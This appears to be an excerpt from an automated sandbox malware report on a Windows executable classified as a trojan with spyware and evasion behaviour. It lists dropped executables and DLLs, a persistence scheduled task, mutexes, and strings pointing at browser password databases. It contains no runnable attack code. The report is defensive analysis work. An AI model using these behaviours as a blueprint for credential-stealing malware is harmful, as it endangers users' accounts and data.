Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49980 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name:
Source: HIDGCFBFBF.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.17.dr	Static PE information: section name:
Source: skotes.exe.17.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9DB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9DB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9DB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C97F280
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FBCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,	22_2_00FBCB97

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9735A0	0_2_6C9735A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986C80	0_2_6C986C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D34A0	0_2_6C9D34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DC4A0	0_2_6C9DC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D4D0	0_2_6C99D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9864C0	0_2_6C9864C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B6CF0	0_2_6C9B6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4E0	0_2_6C97D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5C10	0_2_6C9B5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2C10	0_2_6C9C2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAC00	0_2_6C9EAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E542B	0_2_6C9E542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E545C	0_2_6C9E545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985440	0_2_6C985440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B0DD0	0_2_6C9B0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D85F0	0_2_6C9D85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0512	0_2_6C9A0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99ED10	0_2_6C99ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FD00	0_2_6C98FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995E90	0_2_6C995E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DE680	0_2_6C9DE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D4EA0	0_2_6C9D4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97BEF0	0_2_6C97BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FEF0	0_2_6C98FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E76E3	0_2_6C9E76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7E10	0_2_6C9B7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C5600	0_2_6C9C5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D9E30	0_2_6C9D9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E50	0_2_6C999E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B3E50	0_2_6C9B3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2E4E	0_2_6C9C2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994640	0_2_6C994640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C670	0_2_6C97C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E6E63	0_2_6C9E6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C77A0	0_2_6C9C77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6FF0	0_2_6C9A6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97DFE0	0_2_6C97DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7710	0_2_6C9B7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989F00	0_2_6C989F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A60A0	0_2_6C9A60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E50C7	0_2_6C9E50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C0E0	0_2_6C99C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B58E0	0_2_6C9B58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987810	0_2_6C987810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB820	0_2_6C9BB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4820	0_2_6C9C4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998850	0_2_6C998850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D850	0_2_6C99D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BF070	0_2_6C9BF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5190	0_2_6C9B5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2990	0_2_6C9D2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD9B0	0_2_6C9AD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C9A0	0_2_6C97C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99A940	0_2_6C99A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB970	0_2_6C9CB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EB170	0_2_6C9EB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D960	0_2_6C98D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EBA90	0_2_6C9EBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98CAB0	0_2_6C98CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E2AB0	0_2_6C9E2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9722A0	0_2_6C9722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4AA0	0_2_6C9A4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B8AC0	0_2_6C9B8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C991AF0	0_2_6C991AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE2F0	0_2_6C9BE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9A60	0_2_6C9B9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F380	0_2_6C97F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E53C8	0_2_6C9E53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BD320	0_2_6C9BD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975340	0_2_6C975340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C370	0_2_6C98C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA1ECC0	0_2_6CA1ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7ECD0	0_2_6CA7ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFAC30	0_2_6CAFAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE6C00	0_2_6CAE6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2AC60	0_2_6CA2AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA24DB0	0_2_6CA24DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB6D90	0_2_6CAB6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBACDC0	0_2_6CBACDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8D20	0_2_6CBA8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEED70	0_2_6CAEED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4AD50	0_2_6CB4AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6E90	0_2_6CAA6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2AEC0	0_2_6CA2AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0EC0	0_2_6CAC0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB00E20	0_2_6CB00E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABEE70	0_2_6CABEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68FB0	0_2_6CB68FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2EFB0	0_2_6CA2EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA20FE0	0_2_6CA20FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFEFF0	0_2_6CAFEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60F20	0_2_6CB60F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA26F10	0_2_6CA26F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE2F70	0_2_6CAE2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8EF40	0_2_6CA8EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB268E0	0_2_6CB268E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA70820	0_2_6CA70820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA820	0_2_6CAAA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF4840	0_2_6CAF4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB09A0	0_2_6CAB09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADA9A0	0_2_6CADA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE09B0	0_2_6CAE09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C9E0	0_2_6CB3C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA549F0	0_2_6CA549F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76900	0_2_6CA76900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58960	0_2_6CA58960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9EA80	0_2_6CA9EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD8A30	0_2_6CAD8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACEA00	0_2_6CACEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9CA70	0_2_6CA9CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0BA0	0_2_6CAC0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB26BE0	0_2_6CB26BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4A480	0_2_6CB4A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA664D0	0_2_6CA664D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA4D0	0_2_6CABA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84420	0_2_6CA84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAA430	0_2_6CAAA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38460	0_2_6CA38460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA145B0	0_2_6CA145B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA5E0	0_2_6CAEA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE5F0	0_2_6CAAE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA82560	0_2_6CA82560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC0570	0_2_6CAC0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB68550	0_2_6CB68550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78540	0_2_6CA78540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB24540	0_2_6CB24540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7E6E0	0_2_6CA7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE6E0	0_2_6CABE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA446D0	0_2_6CA446D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C650	0_2_6CA7C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4A7D0	0_2_6CA4A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0700	0_2_6CAA0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA300B0	0_2_6CA300B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC0B0	0_2_6CAFC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA18090	0_2_6CA18090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC000	0_2_6CAEC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE8010	0_2_6CAE8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6E070	0_2_6CA6E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA201E0	0_2_6CA201E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04130	0_2_6CB04130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96130	0_2_6CA96130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88140	0_2_6CA88140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF22A0	0_2_6CAF22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEE2B0	0_2_6CAEE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA62C0	0_2_6CBA62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF8220	0_2_6CAF8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEA210	0_2_6CAEA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8260	0_2_6CAA8260
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C7049	17_2_000C7049
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C8860	17_2_000C8860
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C78BB	17_2_000C78BB
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C31A8	17_2_000C31A8
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_00084B30	17_2_00084B30
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_00197B6E	17_2_00197B6E
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C2D10	17_2_000C2D10
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_00084DE0	17_2_00084DE0
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000B7F36	17_2_000B7F36
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: 17_2_000C779B	17_2_000C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE78BB	18_2_00FE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE8860	18_2_00FE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE7049	18_2_00FE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE31A8	18_2_00FE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FA4B30	18_2_00FA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FA4DE0	18_2_00FA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE2D10	18_2_00FE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FE779B	18_2_00FE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 18_2_00FD7F36	18_2_00FD7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FAE530	22_2_00FAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FC6192	22_2_00FC6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE8860	22_2_00FE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FA4B30	22_2_00FA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FA4DE0	22_2_00FA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE2D10	22_2_00FE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FC0E13	22_2_00FC0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE7049	22_2_00FE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE31A8	22_2_00FE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FC1602	22_2_00FC1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE779B	22_2_00FE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FE78BB	22_2_00FE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FC3DF1	22_2_00FC3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_00FD7F36	22_2_00FD7F36

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FD8E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FBDF80 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FB80C0 appears 261 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FBD64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FB7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FBD663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FBD942 appears 85 times
Source: C:\Users\user\Documents\HIDGCFBFBF.exe	Code function: String function: 000980C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBA09D0 appears 201 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA49B10 appears 45 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA43620 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBAD930 appears 38 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBADAE0 appears 47 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9B94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9ACBE8 appears 134 times

Source: ZdGtikR[1].exe.22.dr	Static PE information: Data appended to the last section found
Source: ZdGtikR.exe.22.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2770590433.000000006CA02000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2758865531.000000000B91F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2758865531.000000000B91F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: zpydkcfj ZLIB complexity 0.994770892910897

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/54@8/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9D7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\OVRR0DFM.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7648:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\HIDGCFBFBF.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2504028599.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2362893037.00000000057D5000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAA.0.dr, KJECFHCBKKEBAKFIJDHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2755618217.00000000058EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2765731020.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
